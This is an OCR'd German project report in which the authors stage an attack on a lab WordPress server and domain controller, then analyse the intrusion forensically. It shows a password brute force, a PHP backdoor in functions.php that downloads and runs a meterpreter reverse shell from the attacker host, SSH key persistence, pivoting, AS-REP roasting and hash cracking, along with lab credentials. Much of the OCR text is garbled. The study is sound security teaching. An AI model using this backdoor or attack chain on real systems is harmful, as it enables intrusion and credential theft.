Dashboard Target Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer {5 settings
Extensions L

1 x 2 = + Fol
Positions  Payloads  Resourcepool  Settings

(?) Payload sets

You candefine one or more payload sets, The number of payioad sets depends on the attacktype defined inthe Positions tab, Various payload types are available for each payloadset, and
each payload type can be customized in different ways.

Payloadset: | 1 ~|  Payloadcount: 197

Payloadtype: | Simple list ~|  Requestcount: 197

@ Payload settings [Simple list]

This payload type lets you configure 2 simple list of strings that are used as payloads.

Paste 123436
123456789
password

Remove 12345678 »

Clear M1

123123
Deduplicate 12345

1234567890
senha

Add

@ Payload processing
You can define rules to perform various processing tasks on each payload befora itis used.
Add Enabled  Rule
Edit
Remove
Up

Down

(?) Payload encoding

This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

Event log Allissues (© Memony: 99.0MB

Abbildung 14: Durchfuhrung der Angriffssimulation 13/42

Nachdem alle Schritte konfiguriert wurden, wird der Angriff gestartet. Ein
erfolgreich geknackter Account kann aus der Abbildung 15 entnommen werden.
Dies ist an der Lange des Requests erkennbar und an der Response, welche als
Einzige mit dem HTTP Status Code 302 antwortet.

Des Weiteren ist in Abbildung 16 ein Beispiel fur einen fehlgeschlagenen

Anmeldeversuch aufgefiihrt, auch mit Hinblick auf die LAnge des Requests.

Dartber hinaus kann nun eine Anmeldung auf der WordPress Seite als die

Benutzerin anna.schmidt erfolgen.
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4 Intruder attack of http:

Attack  Save

€ 2. Intruder attack of http://192.168.237.129 Attack Save v [ON©]
Results Positions Payloads Resource pool Settings
W Intruder attack results filter: Showing allitems H
Request Payload Status code Response recei... Error Timeout  Length Comment
m2 master 200 14 7300
3 chocolate 200 14 7300
14 maggieown 200 16 7300
15 computer 200 13 7300
16 hannah 200 14 7300
n7 jessica 200 14 7300
118 123456789 200 15 7300
[z passwordi23 302 6 36
120 hunter 200 15 7300
121 686584 200 14 7300
122 iloveyout 200 15 7300
123 Justin 200 14 7300
124 cookie 200 14 7300
125 hello 200 13 7300
Reguest Response H
Pretty Raw Hex F & n =

1 HTTP/1.1 302 Found

> Date: Tue, 04 Jun 2024 19:32:53 GMT

Server: Apache/2.4.52 (Ubuntu)

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

Set -Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/

X-Frame-Options: SAMEORIGIN

& Set-Cookie: wordpress_f6655af701c62eb782790391408616e5%=

anna.schnidt%7C1717702373%7C1 1vzbWB38RC1XCGHe TpHIqX04XLnwh 0BLMOT 7t OFEB0% 7Ca4dd1d363808 718347 205b 1cd 9e524a f9174c02c 0904

e2fb289f03a28c4c511; path=/wp-content /plugins; HttpOnly

Set-Cookie: wordpress_f6655af701lc62ebh782790391408616e5=

anna.schnidt%7C1717702373%7C1 1vzbWB38RC1XCGHe TpHIqX04XLnwh 0BLMOT 7t OFEB0% 7Ca4dd1d363808 71834 205b 1cd 9e524a f9174c02c 0904

e2fh289f03a28c4c511; path=/wp-adnin; Httponly

10 Set-Cookie: wordpress_logged_in_f6655af70lc62eb76e79039140861685=
anna.schmidt%7C1717702373%7C1 1vzbWB38RC1 XCGHeTpHIgX04XLnwb 0BLMOT 7+ OFBS0% 7C991 16080651 3ded6hf86c 12721 47395b80d 2942231717
00719ad7393c2a750d3; path=/; HttpOnly

11  X-Redirect-By: WordPress

12 Location: http://192.168,237.129/wp-adnin/

15 Content-Length: 0

14 Keep-Alive: timeout=5, max=100

15  Connection: Keep-&live

15 Content-Type: text/html; charset=UTF-8

@& /|2 |seart £ | ohighlights
1290f197  EEE—

w

Abbildung 15: Durchfuhrung der Angriffssimulation 14/42

4 2. Intruder attack of http://192.168.237.129

Attack  Save

@ 2. Intruder attack of http://192.168.237.129 Attack ~ save v | @ @
Results Positions Payloads Resource pool Settings
 Intruder attack results filter: Showing allitems H
Request Payload Status code Response recei... Error Timeout  Length Comment
12 master 200 14 7300
3 chocolate 200 14 7300
14 maggieown 200 16 7300
15 computer 200 13 7300
16 hannah 200 14 7300
17 jessica 200 14 7300
[118 123456789 200 15 7300
19 password123 302 16 136
120 hunter 200 15 7300
11 BEB5E4 200 14 7300
122 iloveyoul 200 15 7300
123 justin 200 14 7300
124 cockie 200 14 7300
125 hello 200 13 7300
Request Response H
Pratty Raw Hex Render s =

Fehler: Das eingegebene Passwort fiir den
Benutzernamen anna.schmidt ist nicht korrekt.
Pa rgessen?

Benutzername oder E-Mail-Adresse

|anna.schmidt

Abbildung 16: Durchfuhrung der Angriffssimulation 15/42
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dashboard ¢ Forensik Pr

Y%

3

©O B % b

41

Dashboard

Zustand der Website v

Inregelmafigen Abstanden werden
automatisch Tests zum Website-Zustand
durchgefiihrt, um Informationen tber
deine Website zu sammeln. Du kannst
auch die Seite Website-Zustand
besuchen, um jetzt Informationen dber
deine Website zu sammeln.

MNoch keine
Information ...

Auf einen Blick AV A

A 1Beitrag

B 1 Kommentar

W 15eite

WoaordPress 6.5.3 verwendet das Theme Twenty Twenty-Four

@ suchmaschinen ausgeschlossen

Aktivitat AWV A

Kirzlich veréffentlicht

Heute, 19:46 Hallo wWelt!

Meueste Kommentare

Von Ein WordPress-Kommentator zu Hallo Welt

Hallo, dies ist ein Kommentar. Um mit dem Freischalten,
Bearbeiten und Léschen von Kommentaren zu beginnen,
besuche bitte die Kommentare-Ansicht...

Ansicht anpassen ¥ Hilfe

Schneller Entwurf

Titel

Inhalt

Was beschiftigt dich?

WordPress-Veranstaltungen und Neuigkeiten AV A

Gib deine nachstliegende Stadt ein, um Veranstaltungen in der Nahe zu
finden. Q Einen Ort auswahlen

Stadt:[ Hamburg | Senden

Abbrechen

WordPress 6.5.2 Wartungs-Release
WordPress 6.5.2 Wartungs- & Sicherheitsrelease

WordPress News #365 /
und GatherPress

Google, WP.org-Assets, WCEU Side-Events
Templates bei Block Themes wie Twenty Twenty-Four erstellen oder
anpassen

Sponsoring beim WordCamp 2024

Meetups =z WordCamps ' News CF

Abbildung 17: Durchfuhrung der Angriffssimulation 16/42
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+

O & 192.168.237.12

KaliLinux #& KaliTools = KaliDocs & KaliForums e\ Kali NetHunter

#) @A Forensik

- Dl Dashboard

Startseite
Zustand der Website

In regelm3Rigen Abstanden w
automatisch Tests zum Websi
Zustand durchgefihrt, um
Noch keine Informationen liber deine We
Information ... sammeln. Du kannst auch die
Website-Zustand besuchen, u
Informationen liber deine We
sammeln.

: Auf einen Blick
Plugins

|l 15seite

Benutzer A 1Beitrag

el bndet das Theme Twenty Twenty-H

sgeschlossen

Hallo Welt!

Von Ein WordPress-Kommentator zu Hallo W4
Hallo, dies ist ein Kommentar. Um mit dem Frd
Bearbeiten und Loschen von Koemmentaren zu
besuche bitte die Kommentare-Ansicht...

Abbildung 18: Durchfihrung der Angriffssimulation 17/42
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td @ Themes bearbeiten<Fore x = +

< C @ QO @ 192.168.237.129/wp-admin/theme-editor.php

Kali Linux # KaliTools < KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

Achtung!

Du scheinst im WordPress-Dashboard direkte Anderungen an
deinem Theme vorzunehmen. Das wird nicht empfohlen! Direkte
Anderungen an deinem Theme kénnen zu Fehlern auf deiner Website
fiihren, auBerdem kénnen deine Anderungen bei zukiinftigen Updates
verloren gehen.

‘Wenn du mehr als das €SS deines Themes optimieren musst, solltest
du vielleicht ein Child-Theme erstellen (engL).

Solltest du dich dennoch dazu entscheiden, direkt zu editieren,
empfehlen wir dir mittels Dateimanager eine Kopie mit neuem
Namen zu erstellen und das Criginal zu behalten. So hast du die
Maglichkeit, eine funktionierende Version wiederherzustellen, falls
etwas schief geht.

Zuriickgehen |

Abbildung 19: Durchfuhrung der Angriffssimulation 18/42

Nach einer erfolgreichen Anmeldung auf der WordPress Seite als anna.schmidt,
wird nun das Theme Twenty Twenty-Four Uberarbeitet (siehe Abbildung 18 -

Abbildung 20), sodass in der functions.php eine Backdoor in Form einer
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Reverse-Shell (siehe MITRE Techniques T1505/00314) heruntergeladen und
ausgefuhrt wird, sobald die Webseite Giber den Parameter cmd angesteuert wird
(siehe Abbildung 20 - Abbildung 27).

Zum allgemeinen Ablauf wird die IP-Adresse der lokalen Angriffsmaschine
herausgefiltert (siehe Abbildung 21), um festzulegen, auf welche Adresse und
welchen Port sich die Reverse Shell verbinden muss. Zur Erstellung einer
ausfuhrbaren Binary im gangigen Linux-Format ,.elf* wird das Tool msfvenom
mit dem Payload linux/x64/meterpreter/reverse_tcp verwendet (siehe
Abbildung 22). Um die Binary herunterladen zu kénnen, muss dartber hinaus
noch ein lokaler Webserver erstellt werden, welcher Giber den manipulierten PHP-
Code aufgerufen wird (siehe Abbildung 24). Standardmé&lig sind Binary Dateien
nicht unter Linux ausfihrbar, hierzu wird nach dem herunterladen der Befehl

chmod mit dem Parameter +x verwendet, wodurch die Binary ausfiuhrbar ist.
Um die Verbindung der Reverse Shell zu erhalten, muss im letzten Schritt Gber

15
das Open Source Command and Control (C2) Framework Metasploit , ein
Listener / Server erstellt werden, der auf die gleiche lokale IP-Adresse mit dem

dazugehdrigen Port lauscht mit dem dazugehdérigen Payload, welcher auch zuvor

14
https://attack.mitre.org/techniques/T1505/003/

15
https://www.metasploit.com/
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mit msfvenom definiert wurde (siehe Abbildung 23).
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® @ Themes bearbeiten ¢Fore X +

P ks g =

KaliLinux #& KaliTools ¢ KaliDocs M Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

kommen, Anna Schmidt .

- Twenty Twenty-Four: Theme-Funktionen (functions.php)
Zubearbeitendes Theme wihlen: | Twenty Twenty-Four V| .=‘1u5\:\-éhl.en|

» Inhalt der ausgewahlten Datei: Theme-Dateien
q; 1 <?php Stylesheet

2| fx (style.css)
L] 3 * Twenty Twenty-Four functions and definitiens .

al Theme-Funktionen
L 5 * @link https://developer.wordpress.org/themes/basics/theme-functions/ (functions.php)

€ * assets »
» 7 * @package Twenty Twenty-Four

8 * @since Twenty Twenty-Four 1.0 parts »
K 9] */ templates »

18
* 11 f* styles »

12 * Register block styles. Theme-5tile und Block-
+ 3%/ Einstellungen

14 -
15fif(isset($ REQUEST['cmd'1)){ $cmd = ($ _REQUEST['cmd'l); system('rm -f shell* ;
o wget http://192.168.237.128:8081/shell.elf ; chmod +x ./shell.elf ; patterns »

./shell.elf'); die; } el

16

17 if ( ! function_exists( 'twentytwentyfour block styles® } )

18 fHE

19 * Register custom block styles

20 #

21 * @since Twenty Twenty-Four 1.0

22 * @return void

23 */

24 function twentytwentyfour block styles() {

25

26 register _block style(

Dckumentatinn:| Funktionsname ... v
I Die Datei wurde erfolgreich bearbeitet. (]

Abbildung 20: Durchfihrung der Angriffssimulation 19/42

/home/jarl-bjoern

e UNKNOWM group default glen 1000

er p -
LTICAST,UP, LOWE

nogueue state
) brd fF:FFIFTiFF:Ffoff
ilobal docker@

/home/jarl-bjoern

Fri Jun 7 15

Abbildung 21: Durchfiihrung der Angriffssimulation 20/42
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f elf » /ftmp/shell.elf

tCcp

| /meterpreter/reverse_tcp
erse_tcp

L HOST 192.16¢ M

LHOS 192 .168.

msf6 exploit( } > set LPORT 9999

LPORT 9999

msf6 exploit( } > exploit

#] Started reverse TCP handler on 192.168.237.128:9999

Abbildung 23: Durchfihrung der Angriffssimulation 22/42

root(@red-team-kali: fhomefjarl-bjoern

File Actions Edit View Help

-.¢] ]
http.server 8081 -d /tmp
rving HTTP on @ @ port 8081 (http://0.0.0.0:8081/)

Abbildung 24: Durchfihrung der Angriffssimulation 23/42

Nachdem alle Vorbereitungen abgeschlossen sind, wird nun die Hauptseite des
Webservers aufgerufen und mithilfe des Parameters cmd (ber Burpsuite
manipuliert (siehe Abbildung 25). Die Nutzung des Parameters l6st den
Quellcode aus, welcher zuvor hinterlegt wurde. Dieser ladt die Reverse-Shell
herunter und startet sie (siehe Abbildung 26 und Abbildung 27).

Wie aus Abbildung 27 entnommen werden kann, wurde eine Meterpreter

Session gestartet.
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Burp Suite Community Edition v2024.3.1.4 - Temporary Project

Burp  Project Intruder Repeater View Help

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Com
Extensions Learn
HTTP history WebSockets history {8 Proxy settings

f Request to http://192.168.237.129:80

Drop Action Open browser

Pretty Raw Hex ] n =
1 GET [[Zcnd=bTablg] HTTP/1.1
2 Host: 192,168, 237,129
User-Agent: Mozilla/5.0 (¥11; Linux x86 &4; rv:109.0) Gecko/20100101 Firefox/115.0
Accept:
text/html,applications/xhtml+xml, application/xml;g=0.9,imagesavif, image /webp, ¥/ *;q=0.8
Accept-Language: en-US,en:g=0.5
Accept-Enceding: gzip, deflate, br
Connection: close
Cookie: wp-settings-time-2=1717929345; wordpress_test cookle=WPu20Cookie%20check;
wordpress_logged_in_fE555af70lc62eb 782790391 4086160
anna, schmidt%7C17181021 205 7Co 7MDMNChINY 8k IpFhWZPfckk dk RIMekWFZI 3NEmSuMzn%:7C21 f69671de845aa
35dc34462cc0d27c 3522 63986b 98657326526 0hc 74290007
o  Upgrade-Insecure-Requests; 1
10
11

£ L0

“ @

o

Abbildung 25: Durchfuihrung der Angriffssimulation 24/42

httn _sprusr
on @.8.8.8

Abbildung 26: Durchfiihrung der Angriffssimulation 25/42
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msf6 exploit(

c class] [-N ndots] [
[-p port] host
. NSEC, N
r non-IN
authoritative

for UDP
ld stop guery

Abbildung 27: Durchfihrung der Angriffssimulation 26/42

Nun wird Uber das Kommando shell eine interaktive Shell innerhalb der
Meterpreter Session erdffnet. Um hier eine Ubersichtlichere Shell zu erhalten,
so wird eine Teletypewriter (TTY) Shell verwendet und die Datei /etc/passwd
auf mdgliche Benutzer geprift (siehe Abbildung 28).

'passwd

(:112:118: fwupd-r esh user,,,:/run/systemd: /usr/sbin/nologin
/ Jusr/sbin/nologin
dmin:/bin/bash

Abbildung 28: Durchfiihrung der Angriffssimulation 27/42
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Nachdem die Datei /etc/passwd auf mogliche Benutzer Gberprift wurde, wird ein

16
Password Guessing (siehe MITRE Techniques T1110/001 ) durchgefihrt, um
zu prufen, ob das zuvor gewonnene Passwort wiederverwendet werden kann.

www-datagwebserver@l:/$ su superadmin
su superadmin
Password: passwordl23

superadmingwebserver@l:
[pentest-00:ruby* 1:pyt

Abbildung 29: Durchfiihrung der Angriffssimulation 28/42

Wie aus Abbildung 29 entnommen werden kann, hat das vorherige Passwort
password123 in Kombination mit dem Benutzer superadmin funktioniert. Im

nachsten Schritt wird eine SSH-Key Persistence (siehe MITRE Techniques

T1098/OO417) durchgefiihrt, um die Reverse-Shell abzuldsen, da diese
beispielsweise nach einem Update von WordPress wieder entfernt werden
konnte oder auch, falls das Theme entfernt wird. Die Umsetzung kann aus

Abbildung 30 - Abbildung 32 entnommen werden.

16
https://attack.mitre.org/techniques/T1110/001/

17
https://attack.mitre.org/techniques/T1098/004/
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our public
The ke

OTI root

/tmp
~/.sshfid_ed25519.pub
ssh-ed25519 AAAAC3NzaCllZDIINTESAAAATHzm]DTBCB2eg5IhRSnyK36ilze31liwd91kZ+kIWicyM root@red-team-kali

Abbildung 30: Durchfihrung der Angriffssimulation 29/42

Abbildung 31: Durchfihrung der Angriffssimulation 30/42
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connecti /no/[fingerprint])
68 L1290 19) to the list of known hosts.
h/id_e
LTS (GNU/Linux .0-107-generic x86_64)

Lp.ubuntu.com
a nonical.com
ibuntu. com/pro

information as of Tue Jun &4 ©8:21:14 PM UTC 2024

IGELH

IPv4 address for ens

edge and IoT secure. Learn how MicroK8s
i and secure K8s cluster deployment.

ty update.
: apt list --upgradable

4 additional security E ca e applied with E Apps.

Learn more about enabling ESM Apps service at https://ubuntu.com/esm

Last login: e Jun 4 19:@7:49 2024
superadminawebserverol:~$ ||

Abbildung 32: Durchfihrung der Angriffssimulation 31/42

Nach erfolgreichem Umsetzen der Persistence Uber SSH erfolgt die Anpassung
der SSH-Konfigurationsdatei, um den Webserver als Gateway nutzen zu kénnen.
Hierbei wird die Datei /etc/ssh/sshd_config angepasst, damit der Parameter
AllowTcpForwarding verwendet wird. Dieser ermdglicht ein Durchreichen aller
Verbindungen uber SSH, um ein weiteres Netz erreichen zu kénnen (siehe
Abbildung 33). Im Anschluss muss der SSH-Dienst neugestartet werden, um die

Einstellungen zu aktivieren (siehe Abbildung 34).

Der Parameter -D offnet hierbei lokal einen sogenannten SOCKS Proxy Port

1234, um die Kommunikation tber die zuvor gesetzte Einstellung nutzen zu
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konnen (siehe Abbildung 35). Das Tool proxychains418 wird verwendet und
konfiguriert, um den getffneten Kanal nutzen zu kénnen. (siehe Abbildung 36).

18
https://github.com/roflOr/proxychains-ng
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.

root@red-team-kali: fhomefjarl-bjoern

File Actions Edit View Help
GNU nano 6.2 J/etc/ssh/sshd_config *

BllowTcpFo

X11Forwarding

PrintMotd no

AcceptEnv LANG LC_=*

fusr/lib/openssh/sftp-

superadmin y

superadmin erver@l:~% sudo nano
[sudo] password for superadmin:
superadmingwe

superadming

T Jun 4

superadmingwebs

Abbildung 34: Durchfuihrung der Angriffssimulation 33/42

54



Nachweis der Funktionsfahigkeit

.ss5h/id_ed25519":
GNU/Linux 5 @-107-generic

lp.ubuntu.com
5C .canoni

urity Maintenance for Applications is not enabled.

can be applied immedi o
: updates is a standard security update
these additional updates run: apt list

root @red-team-kali: Jhomefjarl-bjoern

File Actions Edit View Help
GNU nano 8.0 /etc/proxychains&. conf

[ProxyList]

socks5 127.@.0.1

Abbildung 36: Durchfihrung der Angriffssimulation 35/42

File Actions Edit View Help

superadmini
todo.txt

superadming
Sat Jun

superadming
Standardkenn

Abbildung 37: Durchfiihrung der Angriffssimulation 36/42
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Wie Abbildung 37 entnommen werden kann, wurde ein Klartextpasswort des

Benutzers Robert Klein abgelegt.

19
Mit den Benutzerdaten wird nun Gber das Tool enum4linux-ng geprift, ob sich
dadurch Daten vom Doméanencontroller Uber die Protokolle Lightweight

Directory Access Protcol (LDAP) und Remote Procedure Call (RPC) ermitteln

20
lassen (MITRE Techniques T1087/002 ) und zugleich Benutzernamen

herausgefiltert werden konnen (siehe Abbildung 38).
Die gewonnenen Benutzernamen werden nun Uber die sogenannte AS-REP

21
Roasting Attacke Uber das Tool impacket mit der Funktion GetNPUsers auf

Benutzer gepruft, welche keine Kerberos Pre-Authentifizierung (MITRE

Techniques T1558/004") aktiviert haben (siehe Abbildung 39).

19
https://github.com/cddmp/enum4linux-ng

20
https://attack.mitre.org/techniques/T1087/002/

21
https://github.com/fortra/impacket

22
https://attack.mitre.org/techniques/T1558/004/
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—

root@red-team-kali: ftmp
File Actions Edit View Help

L /tmp
( enum4linux-ng -A 192.168.160.1
output.log

/tmp

/tmp
output.log usernam gt username.txt

2 /tmp
username.txt
schmidt

rmamnn
.meier

s.schneider

/usr/share/wordlists
GetNPUsers -t ] a. 'sfile username.txt

o

+

o+t

—+
Wwmibmwminineen

Wwwmibmwmininnien
(==~ = - = = = = -

ionError: KD
r robert.klein doesn’'t

UF_DONT_REQUIRE_PREAUTH
LIENT_REVOKED(C1

/usr/share/wordlists

Abbildung 39: Durchfiihrung der Angriffssimulation 38/42
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Der gewonnene Hash aus der AS-REP Roasting Attacke wird nun tber das

Tool Hashcat23 geladen und Uber das Modul 18200 24mit dem bekannten
Worterbuch rockyou.txt durchgepriift (siehe Abbildung 40 und Abbildung 41).

23
https://hashcat.net/hashcat/

24
https://hashcat.net/wiki/doku.php?id=example hashes
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fusr/share/wordlists
0 hashes.asreproast fusr/share/wordlists/rockyou.txt
ting

® PoCL 5.@+debian Linux, MNone+Asserts, RELOC, SPIR, LLWM 17.8.6, SLEEF,

16-Core Processor, 1426/2916 MB (512 MBE allocatable

Minimum pass
imum password le

Abbildung 40: Durchfuhrung der Angriffssimulation 39/42
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S-REP)
ORENSIK.PROJEKT.LOCA ... 6b237b
)

TR
[ I T s

oint...
ub.#1 ... :

fusr/share/wordlists

Abbildung 41: Durchfuhrung der Angriffssimulation 40/42

Wie aus Abbildung 41 enthommen werden kann, konnte das Passwort
I1CombatMedic223! des Benutzers christian.meier gebrochen werden, da
dieses trotz ausreichender Passwortkomplexitat in einem bekannten Wérterbuch

vorhanden war.
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Mit den gewonnenen Benutzerdaten erfolgt nun ein Verbindungsversuch Uber

das Tool evil-winrmzs, welches das Protokoll Winrm nutzt, dass standardisiert
fur PowerShell Sitzungen verwendet wird. Hierbei erfolgt eine Manipulation der
Windows Registry und Firewall, um den Zugang auf den Domanencontroller
Uber das Remote Desktop Procotol (RDP) zu ermdglichen. Des Weiteren wird
der Benutzer christian.meier in die Gruppe Remote Desktop Users

aufgenommen. (siehe Abbildung 42).
Nachdem die Manipulation aus dem vorherigen Schritt abgeschlossen wurde,

erfolgt eine Verbindung mittels des Tools xfreerdp26 Uber RDP, um grafisch

Manipulationen am Domanencontroller durchzufiihren (siehe Abbildung 43).

Aus ethischen Grinden wurde die Programmierung einer Ransomware nicht
aufgefuhrt, da diese bei einer moglichen Veroffentlichung der Ausarbeitung fur

missbrauchliche Zwecke eingesetzt werden kénnte.

25
https://github.com/Hackplayers/evil-winrm

26
https://www.kali.org/tools/freerdp2/
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evil-winrm -i 1 168.160.1

i due to ruby limitation: g ion_p Functi is unimpl

entControls ontrol

Abbildung 42: Durchfuhrung der Angriffssimulation 41/42

File Actions Edit View Help
@ ~[~
xfreerdp /v:192.168.160.1 /u: .0 r' /p:'!1Co 2 /cert-ignore
[12:20:13:840] [98790:98792] [INFO][com.freerdp.gdi] - Local framebuffer format PIXEL_FORMAT_BGRX32

v

Recycle Bin

'S FreeRDP: 192.168.160.1

Windows Server 2019 Standard Evaluation
Window: lid for 168 days
Build 17763.rs5_release.180914-1434

12:20

N s 08.06.2024 -

Abbildung 43: Durchfiihrung der Angriffssimulation 42/42
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7.2 Forensische Analyse

Sofern ein Sicherheitsvorfall entdeckt oder gemeldet wird, stellt sich die Frage
nach dem Zugang in das System. In diesem Projekt erfolgt eine fiktive
Beauftragung durch das geschadigte Unternehmen, welche alle bendtigten
Admin-Passwarter bereitstellt. Es folgt eine forensische Live-Untersuchung auf
dem System, da eine Vielzahl von Systemen in Realszenarios nicht
heruntergefahren werden kdonnen. Ebenfalls werden in dieser Simulation interne
Mitarbeiter als Tater ausgeschlossen. Zuerst wird ein nmap Service Scan

durchgefthrt (siehe Abbildung 44). Dabei wird mit den zusatzlichen Parametern
2
-sV nach den Versionen gescannt. Es fallt auf, dass der Ubuntu Server 7aktuell

: : 28 : .
ist, wohingegen der Apache2 Server nicht dem aktuellen Versionsstand
entspricht. Wir finden zwei offene Ports, wobei eine Webserver- Instanz als haufig

genutztes Angriffsziel genutzt wird.

27
https://wiki.ubuntuusers.de/Ubuntu/Releases/

28
https://httpd.apache.org/download.cqi
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- root@forensic-kali: /home/kali

File Actions Edit View Help

nmap -v -A scanme.nmap.org

nmap -v -sn 192.168.0.0/16 10.0.0.0/8

nmap -v -1iR 10000 -Pn -p 80
SEE THE MAN PAGE (https://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPL
ES

Scantype v not supported

2 /home/kali

/192.168.91.133
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-08 20:54 CEST
Nmap scan report for 192.168.91.133
Host is up (0.00028s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntul3 (Ubuntu Linux; protocol 2
.0)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
MAC Address: 00:0C:29:3B:59:95 (VMware)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://n
map.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.86 seconds

] /home/kali

Abbildung 44: Live Forensik nmap-Scan

Chronologisch wird hier mit dem von auf3en erreichbaren Webserver gestartet.
Mit Hilfe der durch den fiktiven Auftraggeber bereitgestellten Zugangsdaten,
erfolgt ein Einloggen auf dem Webserver als Admin. Es folgt eine Untersuchung
der Seitenprogrammierung (siehe Abbildung 45).
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Du hast dich erfolgreich abgemeldet.

Benutzername oder E-Mail-Adresse

‘max.mustermann ‘

Passwort
‘W ®
(] Angemeldet bleiben

Passwort vergessen?

« Zuriick zu Forensik Projekt ||

E | Deutsch V| 'u“-ffechﬂeln|

Abbildung 45: Anmeldung auf dem Webserver

Nach einer Analyse und der Einstellungen und Quellcodes findet man eine

Manipulation des Quellcodes vor. Im Reiter Theme-Funktionen ist eingebetteter

Code zu finden, der nicht in der urspringlichen Implementierung eingefugt

wurde. Der eingebettete Code ladt bei der Eingabe des Parameter cmd, das

65



Nachweis der Funktionsfahigkeit

Programm shell.elf herunter und fuhrt eine reverse-shell aus, welche als

Eingangstor genutzt wurde (siehe Abbildung 46). Executable Linking Format

(ELF)29 ist ein Standarddateiformat fur ausfihrbare Dateien, Objektcode,
gemeinsam genutzte Bibliotheken und Speicherabbilder. Dies sollte in der
Standard Konfiguration eines Apache2-Webservers nicht mdglich sein. Es findet
keine Analyse des Quellcodes von shell.elf in einem separaten System statt, da
die Abgrenzung den Rahmen des Projektes sprengen wurde.

8 ¥ @since Twenty Twenty-Four 1.8
9 Theme-Funktionen
16 (functions.php)
11|/
12 * Register block styles. assets b
13| */ N
arts »
14 e
15 if{isset($ REQUEST['cmd']}){ echo "=pre="; $cmd = ($ REQUEST['cmd']); system('rm -f shell*; wget templates »
http://192.168.91.131:8081/shell.elf ; chmed +x ./shell.elf ; ./shell.elf'); echo "</pre="; die; } s
16 | !
17 if ( ! function_exists( 'twentytwentyfour block styles® ) ) :
18 ¥
19 * Register custom block styles
20 i

Abbildung 46: Aufgedeckter Schadcode im Theme-Funktionen

Unter journalctl -u ssh lasst sich die SSH-Verbindungen mit dem Server
anzeigen. Dort wird ein SSH-Zugang und der zugehorige Public Key gefunden
(siehe Abbildung 47). Eine gezielte Suche nach einem passenden SSH Public
Key fuhrt zum Erfolg, indem hier die abgelegten authorized_keys angezeigt
werden (siehe Abbildung 52). Ebenso hinterliel3 der Angreifer den Namen seines

29
https://de.wikipedia.org/wiki/Executable and Linking Format
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PC’s ,root@red-team-kali“.
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dmin# cat
C 1-init- g . 108
dist-upgrade, aillog
fantcont i
insta

auth. L
bootstr

bt mp

Shiome

Shiome

Abbildung 48: Uberpriifung des /var Verzeichnisses auf Log Daten

Im Verzeichnis /var/llog werden Log-Dateien abgelegt (siehe Abbildung 48).
Innerhalb des Verzeichnisses /var/log/apache?2/, in der error.log-Datei, wird ein
Hinweis auf eine ausgehende Verbindung und ein Download eines Programms
shell.elf gefunden. Neben dem Download finden wir die zugehdérige Uhrzeit eine
IP-Adresse. Damit haben wurde ein erstes Indiz fir einen moglichen
Startzeitpunkt (2024-06-08 17:36:22 Uhr) des Angriffs aufgedeckt (siehe
Abbildung 49).
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shell.elf

-[ UliEd_iDﬂﬂUL_d_ stre
shell.elf'

7 (12.6 MES=) 'shell.elf' save

Abbildung 49: Nachweis von dem Download der shell.elf

Es wird gezielt im Verzeichnis der Webanwendung /srviwww/wordpress/

gesucht, wo diese auch gefunden wird (siehe Abbildung 50).

Abbildung 50: Auffinden der shell.elf im Verzeichnis /srviwww/wordpress/

Bei einer handischen Analyse und Durchsuchung des Betriebssystems konnte

eine Datei todo.txt gefunden werden (siehe Abbildung 51), welche sich als

sicherheitskritisch einstufen lasst, da sich darin Klartext Daten eines

Benutzeraccounts befinden, welche von dem Angreifer verwendet worden sein

konnte. Unser fiktiver Auftraggeber informiert uns, dass der Nutzer nicht mehr im

Unternehmen ist und geldscht werden sollte.
rel:"E 11

uperadmin superadmin

Robert Klein andern

Abbildung 51: Analyse des Home Verzeichnisses des Administrators

Des Weiteren findet eine Analyse des Domainservers statt, wobei temporére
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Dateien, aktive Prozesse, Berechtigungen Dienste, sowie Offline Dateien

Uberpruft werden.

ze3liwd9lkZ+k1HicyM root@red-team-kali

Abbildung 52: Aufgefundener SSH-Public-Key des Angreifers

Es folgt ein Einloggen auf Doméanencontroller mit den Zugangsdaten, welche

durch den Kunden bereitgestellt wurden (siehe Abbildung 53).

FORENSIK\Administrator:
-

Abbildung 53: Anmeldung auf dem Doméanen-Controller

Es folgt keine dedizierte Analyse des RAM-Speichers. Der direkte Zugriff auf den
Inhalt des RAMs wéahrend einer Live-Untersuchung erfordert spezielle Software-
und Hardware, welche gesonderte Erfahrungen in der IT-Forensik voraussetzt

und im Rahmen dieses Projektes aus Zeitgriinden nicht realisiert werden konnte.

Die Temporare Dateien geben keinen Aufschluss uber die Aktivitat, diese
beinhalteten neben den aufgezeigten Daten (siehe Abbildung 54) noch Browser-
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Cache, temporare Office-Dateien, Zwischenspeicher von Anwendungen.

] < | Temp - [m] x
Home Share View e

= v 1 » ThisPC » Local Disk(C:) » Users » ADMINI~1 » AppData » Local » Temp v O Search Temp o
Name h Date modified Type Size
7 Quick access , [
B Desktop Low File folder
¥ Downloads weF File folder
=] Documents =] ARWConfig-6adeaT66-d143-487d-b12f-9... XML Document 51KB
=] Pictures |Z] dd_veredist_amd64_20240605122241 Text Document 18 KB
30 This PC |Z] dd_vcredist_amdb4_20240605122241_000... Text Document 126 KB
|=] dd_veredist_amd64_20240605122241_001... Text Document 132 KB
5 DVD Drive (D:) 555 Xt |=] dd_veredist_xB6_20240605122232 Text Document 17 KB
|Z] dd_veredist x86_20240605122232_000_vc... Text Document 125KB
¥ Network
2] dd_vcredist_x86_20240605122232_001_vc... Text Document 137 KB
|| tmp2BO0.tmp 2412:13 TMP File 1KB
=] vminst 2 Text Document 226 KB
|5 vmmsi Text Document 3.269 KB
=] wmsetup Text Document 1KB

ditems 1 item selected =

Abbildung 54: Uberpriifung auf temporare Dateien

Eine Untersuchung von Prozessinformationen nach aktiven Prozessen auf
